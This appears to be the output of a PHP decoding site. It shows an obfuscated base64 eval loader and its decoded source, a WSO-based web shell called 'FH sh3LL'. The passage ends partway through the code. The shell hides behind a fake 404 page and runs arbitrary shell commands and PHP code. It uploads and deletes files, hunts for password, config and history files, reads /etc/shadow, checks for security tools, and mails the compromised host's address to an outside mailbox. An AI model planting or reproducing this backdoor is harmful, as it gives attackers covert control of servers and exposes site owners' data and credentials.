Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo eval(base64_decode('JGF1dGhfcGFzcyA9ICIyMGQ5MWNlZGIzYWI0ZmYxMGMyODJkMmJhZTU3YT..
Decoded Output download
None$auth_pass = "20d91cedb3ab4ff10c282d2bae57a697";
$color = "#66bde5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
echo '<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
<style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
<center><form method=post><input type=password name=pass></form></center>';
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win') {
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function ex($in) {
$out = '';
if(function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex('which '.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = "UTF-8";
global $color;
echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>FH sh3LL</title>
<style>
body {background-color:#222;color:#fff;}
body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
span,h1,a { color:'.$color.' !important; }
span { font-weight: bolder; }
h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
a { text-decoration:none; }
a:hover { /*background:#5e5e5e;*/ }
.ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px;margin-top:5px;}
input, textarea, select { margin:0;color:#00ff00;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 80%; }
.main th {text-align:left;background-color:#555;font-weight: bold;}
.main tr:hover{background-color:#5e5e5e;}
.main td, th{vertical-align:middle;}
.menu {background: #333;}
.menu th{padding:5px;font-weight:bold;}
.menu th:hover{background:#444;}
.l1 {background-color:#444;}
pre {font-family:Courier,Monospace;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
.logo {text-align:center;font-size:60px;}
.logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
.cpr {margin-bottom:5px;font-weight:bold;}
.cpb {width:34px;margin:0 5px;}
.eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
.eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
.npoad td {padding:0;}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("'.$_SERVER['REQUEST_URI'].'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
<input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
<input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
</form>';
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get('disable_functions');
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('[SeC. Info]'=>'SeCInfo','[FileS]'=>'FilesMan','[ConSole]'=>'Console','[SQL]'=>'SQL','[PHP]'=>'PHP','[BYpasseR]'=>'SafeMode','[SaFe MoDe]'=>'Bypass','[StrinG Tools]'=>'StringTools','[BruteForce]'=>'Bruteforce','[NetWork]'=>'Network','[ReadaBle Dirs]'=>'Readable','[SYmlink]'=>'SYmlink');
if(!empty($GLOBALS['auth_pass']))
$m['[SelfKill]'] = 'SelfRemove';
$m['[LogOut]'] = 'Logout';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach( range('a','z') as $drive ){
if (is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
$drives .= '<br />: ';
}
if($GLOBALS['os'] == 'nix') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$d0c = "CANT READ named.conf";
} else {
@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out." Domains";
}
} else {
$d0c = " --- ";
}
if($GLOBALS['os'] == 'nix' )
{
$usefl = ''; $dwnldr = '';
if(!@ini_get('safe_mode')) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item) { if(which($item)) $usefl.= $item.','; }
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.','; }
} else {
$usefl = ' ------- '; $dwnldr = ' ------- ';
}
} else {
$usefl = ' ------- '; $dwnldr = ' ------- ';
}
echo '
<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="01px"></td>
<td><table cellpadding="2" cellspacing="0" class="npoad"><tr><td width="20px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
<tr><td><span>User:</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
'<td width=1 align=right>  <nobr><span>  Server IP </span><br><span>Client IP</span><br /><span>HDD: '.viewSize($totalSpace).' || Free:'.viewSize($freeSpace).' </span><br /><span>PHP : </span><br /><span>Safe Mode</span><br /></nobr></td>'.
'<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br > ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br /></nobr></td></tr></table>'.
'</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
}
function printFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
</tr>
</table></div></div>
<div style="margin:0px;background:#444;"><div class="content" style="border-top:0px solid #444;text-align:center;font-weight:bold;">------=[FH Shell Based WSO]=-------</div></div>
</div>
</body></html>';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
if(!isset($_SESSION['trimite'])){
$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
@mail("[email protected]","3CA_Shell_2.0",$url);
$_SESSION['trimite']=true;
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
elseif (!@is_writable($f))
return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
else
return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo '<h1>Server security information</h1><div class=content>';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>'.$n.': </span>';
if(strpos($v, "
") === false)
echo $v.'<br>';
else
echo '<pre class=ml1>'.$v.'</pre>';
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
showSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if( $GLOBALS['os'] == 'nix' ) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('HDD space', ex('df -h'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings',ex('net accounts'));
showSecParam('User Accounts',ex('net user'));
}
echo '</div>';
printFooter();
}
function actionPhp() {
if( isset($_POST['ajax']) ) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
echo '<h1>PHP info</h1><div class=content>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!body {.*}!msiU','',$tmp);
$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
$tmp = preg_replace('!h1!msiU','h2',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
echo $tmp;
echo '</div><br>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
printFooter();
}
function actionFilesMan() {
printHeader();
echo '<h1>File manager</h1><div class=content>';
if(isset($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f, $d.$s.'/');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f, $d.$s.'/');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['cwd'] = @$_POST['c'];
}
break;
}
echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo '<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>';
echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
$links[] = array_merge($tmp, array('type' => 'link'));
elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function cmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "cmp");
usort($dirs, "cmp");
usort($links, "cmp");
$files = array_merge($dirs, $links, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo '<tr><td colspan=5>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="0"></td></tr>
</form></table></div>';
printFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
